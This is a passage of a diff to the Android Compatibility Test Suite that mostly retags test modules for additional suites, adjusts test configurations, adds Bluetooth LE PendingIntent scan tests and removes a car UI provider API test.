LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
@@ -54,7 +54,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
@@ -75,7 +75,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 747a8bd..894e814 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -295,12 +295,12 @@
inOrder.verify(callbacks).onUpdate(any(Context.class),
any(AppWidgetManager.class), eq(new int[] {firstAppWidgetId}));
inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
- any(AppWidgetManager.class), same(firstAppWidgetId), argThat(
+ any(AppWidgetManager.class), eq(firstAppWidgetId), argThat(
new OptionsMatcher(firstOptions)));
inOrder.verify(callbacks).onUpdate(any(Context.class),
any(AppWidgetManager.class), eq(new int[] {secondAppWidgetId}));
inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
- any(AppWidgetManager.class), same(secondAppWidgetId), argThat(
+ any(AppWidgetManager.class), eq(secondAppWidgetId), argThat(
new OptionsMatcher(secondOptions)));
inOrder.verify(callbacks).onDeleted(any(Context.class),
argThat(new WidgetIdsMatcher(new int[]{firstAppWidgetId})));
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 9b7d774..6aa818e 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 9b9ed84..218ed6b 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsAssistService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/assist/testapp/Android.mk b/tests/tests/assist/testapp/Android.mk
index f21fc39..f179ec3 100644
--- a/tests/tests/assist/testapp/Android.mk
+++ b/tests/tests/assist/testapp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsAssistApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 37791ce..c5a98aa 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk
@@ -34,7 +34,7 @@
LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 0330032..33e20ea 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for background restrictions CTS test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsBackgroundRestrictionsTestCases.apk" />
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index 3a8b43f..1a033f7 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -55,7 +55,7 @@
* receiver.
*/
@Test
- @CddTest(requirement="3.5/C-0-6")
+ @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
// Need a reference here to initialize it in a lambda.
@@ -82,7 +82,7 @@
* receiver, even if an intent is targeted to the component.
*/
@Test
- @CddTest(requirement="3.5/C-0-6")
+ @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
// Need a reference here to initialize it in a lambda.
final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index efd7e93..5016e33 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -112,11 +112,20 @@
private_namespace_libs/libnstest_root.so \
public_namespace_libs/libnstest_public.so \
public_namespace_libs/libnstest_public_internal.so \
+ ld_preload_test_helper/ld_preload_test_helper \
+ ld_preload_test_helper_lib1.so \
+ ld_preload_test_helper_lib2.so \
+ ld_config_test_helper/ld_config_test_helper \
+ ns2/ld_config_test_helper_lib1.so \
+ ns2/ld_config_test_helper_lib2.so \
+ ld_config_test_helper_lib3.so \
# These libraries are not built for mips.
my_bionic_testlib_files_non_mips := \
libgnu-hash-table-library.so \
libtest_ifunc.so \
+ libtest_ifunc_variable.so \
+ libtest_ifunc_variable_impl.so \
my_bionic_testlibs_src_dir := \
$($(cts_bionic_tests_2nd_arch_prefix)TARGET_OUT_DATA_NATIVE_TESTS)/bionic-loader-test-libs
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 6c4009c..00448f3 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -39,15 +39,17 @@
LOCAL_CXX_STL := libc++_static
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.bionic
cts_bionic_tests_2nd_arch_prefix :=
include $(LOCAL_PATH)/Android.build.copy.libs.mk
-ifneq ($(TARGET_2ND_ARCH),)
- cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
- include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ifneq ($(TARGET_TRANSLATE_2ND_ARCH),true)
+ ifneq ($(TARGET_2ND_ARCH),)
+ cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
+ include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ endif
endif
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index c02b23d..1af4a3f 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JAVA_LIBRARIES += android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -32,6 +32,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 45718a3..4eb9cd9 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -25,6 +25,7 @@
<application>
<uses-library android:name="android.test.runner" />
+ <receiver android:name=".BluetoothScanReceiver" />
</application>
<!-- This is a self-instrumenting test package. -->
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 971d011..04f7f36 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Bluetooth test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="bluetooth" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index c81a4c2..7a644c1 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -16,8 +16,10 @@
package android.bluetooth.cts;
+import android.app.PendingIntent;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
+import android.bluetooth.cts.BluetoothScanReceiver;
import android.bluetooth.le.BluetoothLeScanner;
import android.bluetooth.le.ScanCallback;
import android.bluetooth.le.ScanFilter;
@@ -25,6 +27,7 @@
import android.bluetooth.le.ScanResult;
import android.bluetooth.le.ScanSettings;
import android.content.Context;
+import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.ParcelUuid;
import android.os.SystemClock;
@@ -255,6 +258,55 @@
verifyTimestamp(results, 0, scanEndMillis);
}
+ /**
+ * Test case for starting a scan with a PendingIntent.
+ */
+ @MediumTest
+ public void testStartScanPendingIntent_nullnull() throws Exception {
+ if (!isBleSupported() || !isBleBatchScanSupported()) {
+ Log.d(TAG, "BLE or BLE batching not suppported");
+ return;
+ }
+ Intent broadcastIntent = new Intent();
+ broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+ CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+ mScanner.startScan(null, null, pi);
+ boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+ mScanner.stopScan(pi);
+ assertTrue("Scan results not received", gotResults);
+ }
+
+ /**
+ * Test case for starting a scan with a PendingIntent.
+ */
+ @MediumTest
+ public void testStartScanPendingIntent() throws Exception {
+ if (!isBleSupported() || !isBleBatchScanSupported()) {
+ Log.d(TAG, "BLE or BLE batching not suppported");
+ return;
+ }
+ ScanSettings batchScanSettings = new ScanSettings.Builder()
+ .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
+ .setReportDelay(0).build();
+ ScanFilter filter = createScanFilter();
+ ArrayList<ScanFilter> filters = null;
+ if (filter != null) {
+ filters = new ArrayList<>();
+ filters.add(filter);
+ } else {
+ Log.d(TAG, "Could not add a filter");
+ }
+ Intent broadcastIntent = new Intent();
+ broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+ CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
+ mScanner.startScan(filters, batchScanSettings, pi);
+ boolean gotResults = latch.await(20, TimeUnit.SECONDS);
+ mScanner.stopScan(pi);
+ assertTrue("Scan results not received", gotResults);
+ }
+
// Verify timestamp of all scan results are within [scanStartMillis, scanEndMillis].
private void verifyTimestamp(Collection<ScanResult> results, long scanStartMillis,
long scanEndMillis) {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
new file mode 100644
index 0000000..1e910a8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothScanReceiver.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.le.BluetoothLeScanner;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+public class BluetoothScanReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "BluetoothScanReceiver";
+
+ private static CountDownLatch sCountDownLatch;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received scan results:" + intent);
+ Log.i(TAG, "ScanResults = " + intent.getParcelableArrayListExtra(
+ BluetoothLeScanner.EXTRA_LIST_SCAN_RESULT));
+ Log.i(TAG, "Callback Type = "
+ + intent.getIntExtra(BluetoothLeScanner.EXTRA_CALLBACK_TYPE, -1));
+ Log.i(TAG, "Error Code = "
+ + intent.getIntExtra(BluetoothLeScanner.EXTRA_ERROR_CODE, -1));
+ if (sCountDownLatch != null) {
+ sCountDownLatch.countDown();
+ sCountDownLatch = null;
+ }
+ }
+
+ public static CountDownLatch createCountDownLatch() {
+ sCountDownLatch = new CountDownLatch(1);
+ return sCountDownLatch;
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 7a8296c..18ae49e 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,13 +25,15 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 384d1b8..9169b79 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Calendar test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCalendarcommon2TestCases.apk" />
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index cebd099..82fbe7c 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,14 +24,14 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test compatibility-device-util
LOCAL_JAVA_LIBRARIES := android.car
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 0516a87..c931169 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Automotive test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="auto" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index d9f144c..444e228 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -25,12 +25,15 @@
import android.test.suitebuilder.annotation.SmallTest;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import org.junit.Assert;
+@CddTest(requirement="2.5.3/A-0-3")
@SmallTest
@RequiresDevice
public class CarAppFocusManagerTest extends CarApiTestBase {
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..b713cb8 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -21,7 +21,10 @@
import android.platform.test.annotations.RequiresDevice;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="2.5.3/A-0-3")
@SmallTest
@RequiresDevice
public class CarInfoManagerTest extends CarApiTestBase {
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..d215c72 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -23,10 +23,13 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+@CddTest(requirement="2.5.3/A-0-3")
@SmallTest
@RequiresDevice
public class CarTest extends AndroidTestCase {
diff --git a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java b/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
deleted file mode 100644
index 4dcccde..0000000
--- a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.car.cts;
-
-import android.car.app.menu.CarMenuCallbacks;
-import android.car.app.menu.SearchBoxEditListener;
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.view.View;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Test the existence of compatibility apis in the car ui provider.
- *
- * This test will only be run on devices with automotive feature.
- */
-
-@SmallTest
-@RequiresDevice
-public class CarUiProviderTest extends AndroidTestCase {
- private static final String TAG = "CarUiProviderTest";
- private static final String UI_ENTRY_CLASS_NAME = ".CarUiEntry";
- private static final String CAR_UI_PROVIDER_PKG = "android.car.ui.provider";
-
- private static final Map<String, Class<?>[]> COMPATIBILITY_APIS =
- new HashMap<String, Class<?>[]>();
-
- static {
- COMPATIBILITY_APIS.put("onStart", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onResume", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onPause", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onStop", new Class<?>[]{});
- COMPATIBILITY_APIS.put("getContentView", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setCarMenuCallbacks", new Class<?>[]{CarMenuCallbacks.class});
- COMPATIBILITY_APIS.put("getFragmentContainerId", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setBackground", new Class<?>[]{Bitmap.class});
- COMPATIBILITY_APIS.put("hideMenuButton", new Class<?>[]{});
- COMPATIBILITY_APIS.put("restoreMenuDrawable", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setMenuProgress", new Class<?>[]{float.class});
- COMPATIBILITY_APIS.put("setScrimColor", new Class<?>[]{int.class});
- COMPATIBILITY_APIS.put("setTitle", new Class<?>[]{CharSequence.class});
- COMPATIBILITY_APIS.put("setTitleText", new Class<?>[]{CharSequence.class});
- COMPATIBILITY_APIS.put("closeDrawer", new Class<?>[]{});
- COMPATIBILITY_APIS.put("openDrawer", new Class<?>[]{});
- COMPATIBILITY_APIS.put("showMenu", new Class<?>[]{String.class, String.class});
- COMPATIBILITY_APIS.put("setMenuButtonColor", new Class<?>[]{int.class});
- COMPATIBILITY_APIS.put("showTitle", new Class<?>[]{});
- COMPATIBILITY_APIS.put("hideTitle", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setLightMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setDarkMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("setAutoLightDarkMode", new Class<?>[]{});
- COMPATIBILITY_APIS.put("onRestoreInstanceState", new Class<?>[]{Bundle.class});
- COMPATIBILITY_APIS.put("onSaveInstanceState", new Class<?>[]{Bundle.class});
- COMPATIBILITY_APIS.put("showSearchBox", new Class<?>[]{View.OnClickListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxEndView", new Class<?>[]{View.class});
- COMPATIBILITY_APIS.put("getSearchBoxText", new Class<?>[]{});
- COMPATIBILITY_APIS.put("showToast", new Class<?>[]{String.class, long.class});
- COMPATIBILITY_APIS.put("stopInput", new Class<?>[]{});
- COMPATIBILITY_APIS.put("startInput", new Class<?>[]{String.class,
- View.OnClickListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxEditListener",
- new Class<?>[]{SearchBoxEditListener.class});
- COMPATIBILITY_APIS.put("setSearchBoxColors", new Class<?>[]{int.class, int.class, int.class,
- int.class});
- }
-
- private boolean mIsCar = false;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mIsCar = getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_AUTOMOTIVE
- );
- }
-
- public void testCarUiProvider() throws Exception {
- if (!mIsCar) {
- Log.d(TAG, "Bypass CarUiProviderTest on non-automotive devices");
- return;
- }
- checkCompatibilityApi();
- }
-
- private void checkCompatibilityApi() {
- List<String> missingApis = new ArrayList<String>();
- Class<?> loadedClass = null;
- try {
- Context carUiContext = getContext().createPackageContext(
- CAR_UI_PROVIDER_PKG,
- Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
-
- int flag = getContext().getPackageManager()
- .getApplicationInfo(CAR_UI_PROVIDER_PKG, 0).flags;
- assertEquals(true, (flag & ApplicationInfo.FLAG_SYSTEM) != 0
- || (flag & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0);
-
- ClassLoader classLoader = carUiContext.getClassLoader();
- loadedClass = classLoader.loadClass(CAR_UI_PROVIDER_PKG + UI_ENTRY_CLASS_NAME);
- } catch (PackageManager.NameNotFoundException e) {
- fail("CarUiProvider package does not exsit");
- } catch (ClassNotFoundException e) {
- fail("CarUiEntry class not found");
- }
-
- if (loadedClass == null) {
- fail("Fail to load CarUiEntry class");
- }
-
- for (Map.Entry<String, Class<?>[]> method : COMPATIBILITY_APIS.entrySet()) {
- try {
- loadedClass.getDeclaredMethod(method.getKey(), method.getValue());
- } catch (NoSuchMethodException e) {
- missingApis.add(method.getKey());
- }
- }
- assertEquals("Missing the following APIs from CarUiProvider"
- + Arrays.toString(missingApis.toArray()), 0, missingApis.size());
- }
-}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 298c6ab..954ae14 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -33,7 +33,7 @@
LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES += android.test.runner telephony-common
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index f966096..e46d53a 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Carrier APIs test cases">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
<option name="token" value="sim-card-with-certs" />
</target_preparer>
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index d187069..a506fa5 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -24,12 +24,12 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsColorModeTestCases
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index c43a5d2..9c09038 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Color Mode test cases">
<option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsColorModeTestCases.apk" />
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
index 06273eb..4d076f8 100644
--- a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -30,6 +30,7 @@
import org.junit.runner.RunWith;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -53,5 +54,7 @@
Window window = mActivity.getWindow();
assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, window.getAttributes().getColorMode());
+
+ assertFalse(window.isWideColorGamut());
}
}
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index b7bd687..d843256 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -30,12 +30,11 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- $(call all-java-files-under, common/src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index a7a3716..b12398b 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Provider test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContactsProviderWipe.apk" />
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index c160572..df811f9 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -52,7 +52,7 @@
LOCAL_PACKAGE_NAME := CtsContentTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index f9a5915..b191a11 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -28,6 +28,7 @@
